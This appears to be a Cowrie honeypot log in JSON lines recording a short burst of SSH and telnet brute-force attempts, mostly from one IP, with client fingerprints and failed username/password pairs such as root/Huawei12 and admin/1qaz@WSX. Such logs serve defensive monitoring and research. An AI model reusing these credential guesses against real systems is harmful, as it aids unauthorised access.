{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:11.030377Z","src_ip":"192.109.200.237","session":"42f2f5e9dd03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:11.350553Z","src_ip":"43.153.37.39","session":"c57ca60767d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40076,"dst_ip":"10.17.0.5","dst_port":23,"session":"d47218bd01af","protocol":"telnet","message":"New connection: 152.42.224.71:40076 (10.17.0.5:23) [session: d47218bd01af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:12.599549Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42442,"dst_ip":"159.203.135.109","dst_port":22,"session":"df57bf175a12","protocol":"ssh","message":"New connection: 192.109.200.237:42442 (159.203.135.109:22) [session: df57bf175a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:12.847380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:12.856984Z","src_ip":"192.109.200.237","session":"df57bf175a12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:12.940351Z","src_ip":"192.109.200.237","session":"df57bf175a12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4","message":"login attempt [root/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:13.189471Z","src_ip":"192.109.200.237","session":"df57bf175a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:14.275938Z","src_ip":"192.109.200.237","session":"df57bf175a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.820042610168457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:16.025374Z","src_ip":"209.127.178.212","session":"f70854c54dc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42458,"dst_ip":"159.203.135.109","dst_port":22,"session":"dce2d540b9b2","protocol":"ssh","message":"New connection: 192.109.200.237:42458 (159.203.135.109:22) [session: dce2d540b9b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:16.300589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:16.308638Z","src_ip":"192.109.200.237","session":"dce2d540b9b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:16.398880Z","src_ip":"192.109.200.237","session":"dce2d540b9b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:16.652874Z","src_ip":"192.109.200.237","session":"dce2d540b9b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:17.739570Z","src_ip":"192.109.200.237","session":"dce2d540b9b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42470,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd92801f870c","protocol":"ssh","message":"New connection: 192.109.200.237:42470 (159.203.135.109:22) [session: dd92801f870c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:19.615300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:19.625738Z","src_ip":"192.109.200.237","session":"dd92801f870c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:19.708596Z","src_ip":"192.109.200.237","session":"dd92801f870c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei12","message":"login attempt [root/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:20.092477Z","src_ip":"192.109.200.237","session":"dd92801f870c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:21.181318Z","src_ip":"192.109.200.237","session":"dd92801f870c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":47748,"dst_ip":"10.17.0.5","dst_port":22,"session":"aab79374b3bc","protocol":"ssh","message":"New connection: 192.169.243.246:47748 (10.17.0.5:22) [session: aab79374b3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:22.461775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:22.467079Z","src_ip":"192.169.243.246","session":"aab79374b3bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:22.539822Z","src_ip":"192.169.243.246","session":"aab79374b3bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gf","password":"gf","message":"login attempt [gf/gf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:22.865247Z","src_ip":"192.169.243.246","session":"aab79374b3bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60166,"dst_ip":"159.203.135.109","dst_port":22,"session":"249be1fbeb6a","protocol":"ssh","message":"New connection: 192.109.200.237:60166 (159.203.135.109:22) [session: 249be1fbeb6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:23.059221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:23.064172Z","src_ip":"192.109.200.237","session":"249be1fbeb6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:23.150161Z","src_ip":"192.109.200.237","session":"249be1fbeb6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:23.402540Z","src_ip":"192.109.200.237","session":"249be1fbeb6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.383593797683716,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:23.562013Z","src_ip":"152.42.224.71","session":"6655459f6522","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:23.941911Z","src_ip":"192.169.243.246","session":"aab79374b3bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:24.487912Z","src_ip":"192.109.200.237","session":"249be1fbeb6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60176,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d9c482bcb54","protocol":"ssh","message":"New connection: 192.109.200.237:60176 (159.203.135.109:22) [session: 7d9c482bcb54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:26.507073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:26.512052Z","src_ip":"192.109.200.237","session":"7d9c482bcb54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:26.594656Z","src_ip":"192.109.200.237","session":"7d9c482bcb54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:26.840812Z","src_ip":"192.109.200.237","session":"7d9c482bcb54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50622,"dst_ip":"10.17.0.5","dst_port":23,"session":"acff0ddb19c8","protocol":"telnet","message":"New connection: 152.42.224.71:50622 (10.17.0.5:23) [session: acff0ddb19c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:27.324725Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:27.926054Z","src_ip":"192.109.200.237","session":"7d9c482bcb54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60192,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccd9cd6a9d07","protocol":"ssh","message":"New connection: 192.109.200.237:60192 (159.203.135.109:22) [session: ccd9cd6a9d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:29.796806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:29.802904Z","src_ip":"192.109.200.237","session":"ccd9cd6a9d07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:29.885920Z","src_ip":"192.109.200.237","session":"ccd9cd6a9d07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50632,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e4b7c1c22b6","protocol":"telnet","message":"New connection: 152.42.224.71:50632 (10.17.0.5:23) [session: 6e4b7c1c22b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:30.127534Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:30.137536Z","src_ip":"192.109.200.237","session":"ccd9cd6a9d07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:31.223741Z","src_ip":"192.109.200.237","session":"ccd9cd6a9d07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38468,"dst_ip":"159.203.135.109","dst_port":22,"session":"c26bf6c69423","protocol":"ssh","message":"New connection: 192.109.200.237:38468 (159.203.135.109:22) [session: c26bf6c69423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:33.246420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:33.254411Z","src_ip":"192.109.200.237","session":"c26bf6c69423","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:33.337749Z","src_ip":"192.109.200.237","session":"c26bf6c69423","protocol":"ssh"}
